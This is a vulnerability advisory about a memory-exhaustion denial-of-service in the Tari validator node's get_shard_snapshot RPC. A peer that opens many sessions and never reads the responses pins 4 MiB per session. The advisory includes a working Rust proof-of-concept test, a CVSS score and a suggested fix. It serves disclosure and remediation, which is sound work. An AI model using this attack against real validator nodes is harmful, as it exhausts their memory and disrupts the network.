
Cloud Vulnerability DB
A community-led vulnerabilities database
get_shard_snapshot pins a 4 MiB unary response per RPC session, letting one peer hold gigabytes on a validatorTested at commit 9ef53f3e70833fd79d945a7e072b2039a6da5f77.
ValidatorNodeRpcServiceImpl::get_shard_snapshot
(applications/tari_validator_node/src/p2p/rpc/rpc_impl.rs:1051) was added by #3183 together with
the shard-snapshot reader. It reads a page of a shard's tree — at most
MAX_SNAPSHOT_PAGE_BYTES = 4 MiB of substate values
(applications/tari_validator_node/src/p2p/rpc/shard_snapshot.rs:25) — and returns it as a
unary Response<GetShardSnapshotResponse>.
Its only resource guard is self.state_sync_reads, a small node-wide semaphore
(max_concurrent_state_sync_reads(), half the machine's cores — 2 on a four-core node; see
rpc_impl.rs:125-129). That permit is a local of the handler future: it is dropped when the handler
returns, before the generated dispatcher runs IntoBody::into_body on the returned Response
(networking/rpc_macros/src/generator.rs:65-75, networking/rpc_framework/src/body.rs:24-28). The
framework then holds the encoded frame until the peer has taken it
(networking/rpc_framework/src/server/mod.rs:860-970). Unary bodies have no guard: unlike the batch
response, which attaches a MAX_BUFFERED_BATCH_RESPONSES = 32 permit to the response body with
Streaming::with_guard(permit) precisely so that "the memory batch responses can take [is bounded]
however many sessions peers open" (rpc_impl.rs:330-351), a Body::single page carries nothing.
So the number of materialised 4 MiB snapshot pages a node holds is bounded only by the RPC session
caps — max_sessions_per_client = 100, max_simultaneous_sessions = 1000 by default
(applications/tari_ootle_app_utilities/src/p2p_config.rs:106-116). Any p2p peer may call the
method: the handler performs no committee or shard-membership check ("Any node holding the tree at
the version serves it"). A peer that opens the 100 sessions a single client is allowed from ten free
libp2p identities, sends one ~50-byte request on each and does not finish reading the responses
pins 1000 × 4 MiB ≈ 4 GiB. The write timeout only fires when a peer takes nothing for 60 s
(networking/rpc_framework/src/server/write_timeout.rs:8-50), so a peer that reads a byte a minute
keeps every page pinned indefinitely.
tari_validator_node (handler), tari_validator_node_rpc (unary method 10),
tari_rpc_framework (unary body handling)applications/tari_validator_node/src/p2p/rpc/rpc_impl.rs:1051 —
ValidatorNodeRpcServiceImpl::get_shard_snapshot, in particular the _permit scope at
1082-1097applications/tari_validator_node/src/p2p/rpc/shard_snapshot.rs:22-28 —
MAX_SNAPSHOT_PAGE_SUBSTATES / MAX_SNAPSHOT_PAGE_BYTEScrates/validator_node_rpc/src/rpc_service.rs:65 — the unary trait method (wire method 10)networking/rpc_framework/src/body.rs:24-28 — IntoBody for T: prost::Message encodes a
unary response into Body::singlenetworking/rpc_framework/src/server/mod.rs:860-970 — the encoded frame is held until the
peer takes it; the write timeout is the only boundapplications/tari_validator_node/src/p2p/rpc/rpc_impl.rs:330-351 —
stream_batch_response attaches its response permit to the streamAttacker: any peer on the p2p network (a free libp2p identity; no validator registration, no
committee membership, no shard ownership). get_shard_snapshot has no membership check.
max_sessions_per_client = 100; the 10 inbound connections are far below
max_established_incoming = 256).get_shard_snapshot request asking for a full page of values
(shard = a shard the victim holds, limit = 1000, value_filters = all kinds,
state_version = a version of that shard's tree the victim keeps — the checkpoint versions are
discoverable from get_checkpoints, and shards the victim holds from
get_committed_block_proof/the checkpoint summaries). The request is ~50 bytes; the response is
up to 4 MiB.crates/state_store_rocksdb/src/options.rs:8) is OOM-killed; a larger one is held under memory
pressure for as long as the attacker keeps the sessions fed.crates/validator_node_rpc/tests/poc_snapshot_response_pinning.rstari_rpc_framework,
tari_ootle_p2p, libp2p, libp2p-substream and tokio-util dependencies.RUSTC_WRAPPER=sccache CARGO_BUILD_JOBS=1 cargo test -p tari_validator_node_rpc --test poc_snapshot_response_pinning -- --nocapturesessions=32 expected_retained=128 MiB measured_retained=130 MiB ... test result: ok. 1 passed; 0 failed; finished in 0.54ssessions=32 expected_retained=128 MiB measured_retained=130 MiB, 1 passed; 0 failed, finished in 0.54s// Copyright 2026 The Tari Project
// SPDX-License-Identifier: BSD-3-Clause
//! PoC: a peer pins one materialised `get_shard_snapshot` response per RPC session on the
//! validator.
//!
//! `ValidatorNodeRpcServiceImpl::get_shard_snapshot` (applications/tari_validator_node/src/p2p/
//! rpc/rpc_impl.rs) reads a snapshot page of up to `MAX_SNAPSHOT_PAGE_BYTES` (4 MiB) and returns it
//! as a **unary** `Response<GetShardSnapshotResponse>`. Its only resource guard is the
//! `state_sync_reads` permit, which is a local of the handler and is dropped when the handler future
//! completes; the generated RPC dispatcher encodes the response (`IntoBody::into_body`) *after* that,
//! and the framework then holds the encoded frame until the peer reads it. No response guard (the
//! `Streaming::with_guard` pattern `get_substate_batch` uses for the same reason) is attached.
//!
//! So the number of such responses the node holds is bounded only by the RPC session caps
//! (default `max_sessions_per_client = 100`, `max_simultaneous_sessions = 1000`). A peer that never
//! finishes reading a response keeps its frame alive: the write timeout only fires when the peer
//! takes *nothing* for 60 s, so a peer that reads a byte a minute keeps every response pinned.
//!
//! This test models that service with the same unary response shape the real handler returns: four
//! 1 MiB substates, i.e. the 4 MiB `MAX_SNAPSHOT_PAGE_BYTES` page. It starts the real generated
//! `ValidatorNodeRpcServer` and opens `SESSIONS` real RPC sessions whose clients complete the
//! handshake, send one `get_shard_snapshot` request (a ~50-byte frame) and then stop reading. It
//! measures the process's live heap: each session retains ~4 MiB, so `SESSIONS × 4 MiB` is pinned
//! by a few kilobytes of requests. With the validator's default caps that is 1000 × 4 MiB ≈ 4 GiB.
use std::{
alloc::{GlobalAlloc, Layout, System},
sync::atomic::{AtomicUsize, Ordering},
time::Duration,
};
use futures::SinkExt;
use libp2p::{PeerId, StreamProtocol};
use libp2p_substream::{ProtocolEvent, ProtocolNotification};
use prost::Message;
use tari_ootle_p2p::proto::rpc as proto;
use tari_rpc_framework::{
NamedProtocolService,
RPC_MAX_FRAME_SIZE,
Request,
Response,
RpcServer,
RpcStatus,
Streaming,
__macro_reexports::Bytes,
framing,
};
use tari_validator_node_rpc::rpc_service::{ValidatorNodeRpcServer, ValidatorNodeRpcService};
use tokio::{sync::mpsc, task, time};
use tokio_util::compat::{Compat, TokioAsyncReadCompatExt};
// ---------------------------------------------------------------------------------------------
// Live-heap accounting, so the retained response bytes are measured rather than assumed.
// ---------------------------------------------------------------------------------------------
struct TrackingAlloc;
static LIVE_BYTES: AtomicUsize = AtomicUsize::new(0);
unsafe impl GlobalAlloc for TrackingAlloc {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let ptr = System.alloc(layout);
if !ptr.is_null() {
LIVE_BYTES.fetch_add(layout.size(), Ordering::Relaxed);
}
ptr
}
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
System.dealloc(ptr, layout);
LIVE_BYTES.fetch_sub(layout.size(), Ordering::Relaxed);
}
unsafe fn alloc_zeroed(&self, layout: Layout) -> *mut u8 {
let ptr = System.alloc_zeroed(layout);
if !ptr.is_null() {
LIVE_BYTES.fetch_add(layout.size(), Ordering::Relaxed);
}
ptr
}
unsafe fn realloc(&self, ptr: *mut u8, layout: Layout, new_size: usize) -> *mut u8 {
let new_ptr = System.realloc(ptr, layout, new_size);
if !new_ptr.is_null() {
if new_size >= layout.size() {
LIVE_BYTES.fetch_add(new_size - layout.size(), Ordering::Relaxed);
} else {
LIVE_BYTES.fetch_sub(layout.size() - new_size, Ordering::Relaxed);
}
}
new_ptr
}
}
#[global_allocator]
static ALLOC: TrackingAlloc = TrackingAlloc;
fn live_bytes() -> usize {
LIVE_BYTES.load(Ordering::Relaxed)
}
// ---------------------------------------------------------------------------------------------
// The service: the same unary response shape the real snapshot handler returns.
// ---------------------------------------------------------------------------------------------
/// The snapshot page budget the real responder uses (`shard_snapshot::MAX_SNAPSHOT_PAGE_BYTES`).
const SNAPSHOT_PAGE_BYTES: usize = 4 * 1024 * 1024;
/// One 1 MiB substate per `SNAPSHOT_PAGE_BYTES / 4`.
const PAGE_SUBSTATES: usize = 4;
const SUBSTATE_BYTES: usize = SNAPSHOT_PAGE_BYTES / PAGE_SUBSTATES;
/// What `read_shard_snapshot` returns for a full page: up to 4 MiB of substate values in one unary
/// `GetShardSnapshotResponse` (values are the largest part of a snapshot page).
fn snapshot_page() -> proto::GetShardSnapshotResponse {
let substates = (0..PAGE_SUBSTATES)
.map(|i| proto::SnapshotSubstate {
substate: Some(proto::SubstateData {
substate_id: vec![u8::try_from(i).unwrap(); 32],
version: 1,
substate_value_or_hash: Some(proto::substate_data::SubstateValueOrHash::Value(vec![
u8::try_from(i).unwrap();
SUBSTATE_BYTES
])),
template_metadata: Vec::new(),
}),
created_epoch: None,
})
.collect();
proto::GetShardSnapshotResponse {
substates,
is_last: true,
version_unavailable: false,
last_leaf_proof: Vec::new(),
}
}
struct SnapshotService;
fn unserved<T>() -> Result<T, RpcStatus> {
Err(RpcStatus::general("not served by this test service"))
}
#[tari_rpc_framework::async_trait]
impl ValidatorNodeRpcService for SnapshotService {
async fn submit_transaction(
&self,
_: Request<proto::SubmitTransactionRequest>,
) -> Result<Response<proto::SubmitTransactionResponse>, RpcStatus> {
unserved()
}
async fn get_substate(
&self,
_: Request<proto::GetSubstateRequest>,
) -> Result<Response<proto::GetSubstateResponse>, RpcStatus> {
unserved()
}
async fn get_transaction_result(
&self,
_: Request<proto::GetTransactionResultRequest>,
) -> Result<Response<proto::GetTransactionResultResponse>, RpcStatus> {
unserved()
}
async fn get_checkpoints(
&self,
_: Request<proto::GetCheckpointsRequest>,
) -> Result<Response<proto::GetCheckpointsResponse>, RpcStatus> {
unserved()
}
async fn sync_state(
&self,
_: Request<proto::SyncStateRequest>,
) -> Result<Streaming<proto::SyncStateResponse>, RpcStatus> {
unserved()
}
async fn get_substate_batch(
&self,
_: Request<proto::GetSubstatesBatchRequest>,
) -> Result<Streaming<proto::GetSubstatesBatchResponse>, RpcStatus> {
unserved()
}
async fn get_consensus_state(
&self,
_: Request<proto::GetConsensusStateRequest>,
) -> Result<Response<proto::GetConsensusStateResponse>, RpcStatus> {
unserved()
}
async fn get_high_qc(
&self,
_: Request<proto::GetHighQcRequest>,
) -> Result<Response<proto::GetHighQcResponse>, RpcStatus> {
unserved()
}
async fn get_committed_block_proof(
&self,
_: Request<proto::GetCommittedBlockProofRequest>,
) -> Result<Response<proto::GetCommittedBlockProofResponse>, RpcStatus> {
unserved()
}
async fn get_shard_snapshot(
&self,
_: Request<proto::GetShardSnapshotRequest>,
) -> Result<Response<proto::GetShardSnapshotResponse>, RpcStatus> {
Ok(Response::new(snapshot_page()))
}
}
// ---------------------------------------------------------------------------------------------
// A raw RPC client: handshake, one request, then no reads. This is the peer that pins the response.
// ---------------------------------------------------------------------------------------------
/// The framework's wire messages are private; these mirror their wire form.
#[derive(Clone, PartialEq, Message)]
struct WireSession {
#[prost(uint32, repeated, tag = "1")]
supported_versions: Vec<u32>,
}
#[derive(Clone, PartialEq, Message)]
struct WireRequest {
#[prost(uint32, tag = "1")]
request_id: u32,
#[prost(uint32, tag = "2")]
method: u32,
#[prost(uint32, tag = "3")]
flags: u32,
#[prost(uint64, tag = "4")]
deadline: u64,
#[prost(uint64, tag = "5")]
keepalive_interval: u64,
#[prost(bytes = "vec", tag = "10")]
payload: Vec<u8>,
}
type Server = ValidatorNodeRpcServer<SnapshotService>;
type Substream = Compat<tokio::io::DuplexStream>;
const SESSIONS: usize = 32;
async fn open_session(
notif_tx: &mpsc::UnboundedSender<ProtocolNotification<Substream>>,
peer_id: PeerId,
) {
let (server_io, client_io) = tokio::io::duplex(64 * 1024);
notif_tx
.send(ProtocolNotification::new(
StreamProtocol::new(Server::PROTOCOL_NAME),
ProtocolEvent::NewInboundSubstream {
peer_id,
substream: server_io.compat(),
},
))
.expect("server gone");
// Real handshake frame: `RpcSession { supported_versions: [0] }`.
let mut framed = framing::canonical(client_io.compat(), RPC_MAX_FRAME_SIZE);
framed
.send(Bytes::from(WireSession {
supported_versions: vec![0],
}
.encode_to_vec()))
.await
.expect("send handshake");
// One `get_shard_snapshot` request (method 10), asking for a full page of values. ~50 bytes.
let payload = proto::GetShardSnapshotRequest {
shard: 0,
state_version: 1,
after_leaf_key: Vec::new(),
limit: 1000,
value_filters: 0x1fff,
}
.encode_to_vec();
framed
.send(Bytes::from(WireRequest {
request_id: 1,
method: 10,
flags: 0,
deadline: 600,
keepalive_interval: 0,
payload,
}
.encode_to_vec()))
.await
.expect("send request");
// Deliberately never read the response and never drop the client end: the server's 4 MiB frame
// stays in its memory for as long as this session lives.
std::mem::forget(framed);
}
#[tokio::test]
async fn a_non_reading_peer_pins_a_snapshot_response_per_session() {
let (notif_tx, notif_rx) = mpsc::unbounded_channel();
let server = task::spawn(async move {
RpcServer::builder()
.with_maximum_sessions_per_client(100)
.with_maximum_simultaneous_sessions(1000)
.finish()
.add_service(Server::new(SnapshotService))
.serve(notif_rx)
.await
.expect("server failed");
});
// Let the runtime settle so the baseline is not measured against startup allocations.
time::sleep(Duration::from_millis(200)).await;
let baseline = live_bytes();
let peer_id = PeerId::random();
for _ in 0..SESSIONS {
open_session(¬if_tx, peer_id).await;
}
// Wait for the server to have built and encoded a response per session. It cannot write past the
// 64 KiB duplex buffer, so each response is retained.
let expected = SESSIONS * SNAPSHOT_PAGE_BYTES;
let mut retained = 0;
for _ in 0..200 {
retained = live_bytes().saturating_sub(baseline);
if retained >= expected * 9 / 10 {
break;
}
time::sleep(Duration::from_millis(50)).await;
}
println!(
"sessions={SESSIONS} expected_retained={} MiB measured_retained={} MiB",
expected / (1024 * 1024),
retained / (1024 * 1024),
);
// One 4 MiB page per session (32 x 4 MiB = 128 MiB), all from ~50-byte requests. The validator's
// session caps (100 per client, 1000 node-wide) make this 400 MiB per client and ~4 GiB per node.
assert!(
retained >= expected * 9 / 10,
"expected at least {} MiB of pinned snapshot responses, measured {} MiB",
expected * 9 / 10 / (1024 * 1024),
retained / (1024 * 1024),
);
server.abort();
}CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NThe closest public item is GHSA-2pm9-q6j8-qrh8 (get_substate_batch materialises its whole response before streaming and bounds only the item count); this is a different handler where the response is byte-bounded and the read permit is released before the unary body is encoded, so no response-lifetime guard covers it. GHSA-v77f-rjx8-53xj pins a streaming session slot, whereas here the session retains megabytes, and GHSA-2hjq-c37v-g792 is client-side state-sync buffering. No public report covers the unary get_shard_snapshot response.
Attach a response-lifetime guard to the snapshot response: acquire a
MAX_BUFFERED_BATCH_RESPONSES-style permit before reading and move it into the response body (give
Body::single/IntoBody a guarded variant, or serve the page as a one-frame guarded stream), so
at most a fixed number of snapshot pages are materialised at once. Capping the socket backlog is
not enough; the bound must cover the encoding and send of the body.
tari_validator_node, tari_validator_node_rpc,
tari_rpc_framework (Tier 2)12vX5tebEb1XEAT7rtS49PTeeWpBczMVAgPe1NWnUr7xYVLRvg6DiZxF6qk3QxXkVs5i9rtrcMAgJx6hXbpF9odTqNThe response size is chosen by the victim's state, not the attacker: a live shard holds far more
than 4 MiB of substate values (receipts alone are retained for 1000 epochs), and the attacker can
pick the shard and leaf range. The snapshot reader's own unit test,
applications/tari_validator_node/src/p2p/rpc/shard_snapshot.rs::tests::a_page_is_bounded_by_its_byte_budget,
exercises pages that fill MAX_SNAPSHOT_PAGE_BYTES when the tree holds that much state; the PoC
serves exactly such a 4 MiB page. The per-session request is ~50 bytes; the attacker pays only the
handshake and the requests, not the responses (it never reads them). The default session caps are
the amplifier: 1000 pages.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."